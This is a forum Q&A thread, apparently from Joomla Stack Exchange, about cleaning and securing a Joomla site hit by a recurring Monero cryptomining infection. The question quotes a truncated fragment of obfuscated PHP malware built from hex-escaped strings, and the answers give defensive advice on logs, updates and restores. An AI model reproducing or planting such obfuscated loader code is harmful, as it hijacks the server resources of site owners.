How to secure Joomla from Monero Crypto-currency-mining hack

Question

my sites has been hacked and what I could find online it was a Monero Crypto-currency-mining hack.

I did the usual security precousions on my site - the one that I usually do on Joomla pages, but its not working. The malicious code is coming back

Do you have any experience and suggestions what could I also do to secure Joomla Website?

Do you know which "back door" in extension or Joomla itself is it using for rewriting or adding code?

Code Example:

$d8f437 = 62;$GLOBALS['a8f0ec1e5']=Array();global$a8f0ec1e5;$a8f0ec1e5=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['dba283']="\x73\x77\x5b\x55\x50\x27\x2b\x3b\x6d\x6c\x22\x2c\x44\x47\x23\x3e\x3f\x68\x35\x76\x30\x3a\x5a\x20\x2f\x28\x7e\x53\x43\x79\x58\x5d\x2e\x72\x64\x3d\x75\x6a\x62\x4c\x7b\x56\x69\x7c\x31\x52\x4e\x2d\x26\x25\x51\x46\x4d\x6e\x78\x67\x74\x48\x66\x38\x4f\x65\x29\x71\x33\x3c\x34\x59\x39\x21\x57\x24\x42\x60\x70\x5c\x7d\xa\x6f\x5e\x5f\x32\x7a\x36\xd\x54\x61\x41\x9\x40\x63\x4b\x37\x2a\x49\x6b\x45\x4a";$a8f0ec1e5[$a8f0ec1e5['dba283'][56].$a8f0ec1e5['dba283'][34].$a8f0ec1e5['dba283'][61].$a8f0ec1e5['dba283'][66].$a8f0ec1e5['dba283'][61].$a8f0ec1e5['dba283'][90]]=$a8f0ec1e5['dba283'][90].$a8f0ec1e5['dba283'][17].$a8f0ec1e5['dba283'][33];$a8f0ec1e5[$a8f0ec1e5['dba283'][63].$a8f0ec1e5['dba283'][68].$a8f0ec1e5['dba283'][38].$a8f0ec1e5['dba283'][92].$a8f0ec1e5['dba283'][68].$a8f0ec1e5['dba283'][68].$a8f0ec1e5['dba283'][68].$a8f0ec1e5['dba283'][86].$a8f0ec1e5['dba283'][58]]=$a8f0ec1e5['dba283'][78].$a8f0ec1e5['dba283'][33].$a8f0ec1e5['dba283'][34];$a8f0ec1e5[$a8f0ec1e5['dba283'][63].$a8f0ec1e5['dba283'][86].$a8f0ec1e5['dba283'][61].$a8f0ec1e5['dba283'

Answer 1

Finding the "backdoor" might be hard. You can check the access logs for strange requests. Maybe your hosting provider offers other logs like (s)FTP connection logs.

I recommend installing Akeeba Admin Tools to prevent basic attacks.

https://www.akeebabackup.com/products/admin-tools.html

A good source for ideas to secure a site is this: https://www.bluebridgedev.com/blog/entry/how-to-secure-a-joomla-site

In general, that blog is worth a read: https://www.bluebridgedev.com/blog

For possible new security issues, I recommend subscribing to the RSS feed of:

https://developer.joomla.org/security-centre

https://vel.joomla.org/live-vel

https://www.exploit-db.com/

Answer 2

Finding the backdoor is indeed hard, but it not impossible. You will need to check all your logs, match the dates for each suspicious entry, until you find the root cause of the issue.

Having said that, you should always run the latest version of Joomla, disable unused extensions, update your used extensions to the latest version, and protect your backend with an .htpasswd.

Answer 3

Having done a little research on your malicious code, I came across this article which states what the snippet is and how it will effect you.

https://adamfeuer.com/notes/2017/10/16/removing-and-blocking-monero-mining-wordpress-malware/

So you may see the server using a tonne of resources, such as CPU and requests. It may not be Joomla or an extension that caused the issue, but a poorly configured server. If you're on shared hosting, you may have been affected by someone elses site being backed. You just never know.

Check your server logs, contact your hosting company, ensure you're running the latest version of Joomla (currently 3.8.5) and all your extension.

My personal recommendation to monitor, scan and secure your site would be https://myjoomla.com

Answer 4

You can check the VEL to find out if any of your installed extensions have known vulnerabilities.

Known vulnerabilities are generally patched as soon as possible.

As with any hacked website, you probably have three options:

1. restore from a known good backup, update Joomla and third party extensions to the latest versions and reset passwords

2. rebuild the website from scratch with clean copies of Joomla and third party extensions

3. find and fix the malware, update Joomla and third party extensions to the latest versions and reset passwords

Option 3 is usually my preferred option and I tend to rely on mysites.guru (formerly myjoomla.com) to help find the malware and delete / overwrite files as necessary.

Also remember to check the virus protection on your computer or any other device that may be storing Joomla or hosting control panel passwords for your website.

See http://joomla.stackexchange.com/a/180/120 for more information on keeping a Joomla website secure.